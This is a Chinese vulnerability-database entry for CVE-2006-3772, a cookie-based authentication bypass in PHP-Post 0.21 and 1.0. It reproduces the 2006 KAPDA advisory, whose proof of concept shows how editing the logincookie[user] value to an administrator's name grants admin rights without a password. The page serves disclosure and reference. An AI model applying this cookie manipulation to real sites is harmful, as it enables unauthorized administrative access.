PHP-Post logincookie[user]设置远程认证绕过漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110631 漏洞类型 设计错误
发布时间 2006-07-18 更新时间 2006-08-07
CVE编号 CVE-2006-3772 CNNVD-ID CNNVD-200607-400
漏洞平台 PHP CVSS评分 5.1
|漏洞来源
https://www.exploit-db.com/exploits/2036
https://cxsecurity.com/issue/WLB-2006070101
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200607-400
|漏洞详情
PHP-Post0.21和1.0以及可能的早期版本在启用自动登录时,远程攻击者可以通过修改登录cookie中的logincookie[user]设置,绕过安全限制并获得管理员权限。
|漏洞EXP
[KAPDA::#52] - PHP-Post 1.0 Cookie Modification Privilege Escalation Vulnerability


Vulnerable product: Tested on PHP-Post 0.21 and 1.0
Vendor: http://php-post.co.uk
Vulnerability: Privilege Escalation


Date:
--------------------
Found: Nov 23, 2005
Vendor Contacted: Jun 01, 2006
Release Date: July 18, 2006

Vulnerability:
--------------------
Privilege Escalation:
PHP-Post contains a flaw that may allow a remote attacker to gain administrative privileges.
PHP-Post doesn't properly authenticate remote users if auto login is on!
By editing the values of the cookie, an attacker can change their privilege from a regular 
user to administrator and submit it back to the site.


Proof of Concepts:
--------------------
Cookie: logincookie[pwd]=5a329326344d1d38; logincookie[user]=3nitr0; logincookie[last]=2006-07-07+05%3A24%3A44; logincookie[lastv]=1152264284; post[329]=330

change to:

Cookie: logincookie[pwd]=5a329326344d1d38; logincookie[user]="ADMIN`S USERNAME"; logincookie[last]=2006-07-07+05%3A24%3A44; logincookie[lastv]=1152264284; post[329]=330

without password ;)


Credit:
--------------------
Farhad Koosha
FarhadKey of KAPDA
farhadkey [at} kapda <d0t> net
Greetz to CVH and Pi3cH :)
Kapda - Security Science Researchers Insitute of Iran
http://www.KAPDA.ir

# milw0rm.com [2006-07-18]
|参考资料

来源:XF
名称:phppost-cookie-privilege-escalation(27862)
链接:http://xforce.iss.net/xforce/xfdb/27862
来源:BID
名称:19046
链接:http://www.securityfocus.com/bid/19046
来源:BUGTRAQ
名称:20060718[KAPDA::#52]-PHP-Post1.0CookieModificationPrivilegeEscalationVulnerability
链接:http://www.securityfocus.com/archive/1/archive/1/440419/100/0/threaded
来源:MISC
链接:http://www.kapda.ir/advisory-380.html
来源:VUPEN
名称:ADV-2006-2877
链接:http://www.frsirt.com/english/advisories/2006/2877
来源:SECUNIA
名称:21115
链接:http://secunia.com/advisories/21115
来源:SREASON
名称:1264
链接:http://securityreason.com/securityalert/1264
来源:MILW0RM
名称:2036
链接:http://milw0rm.com/exploits/2036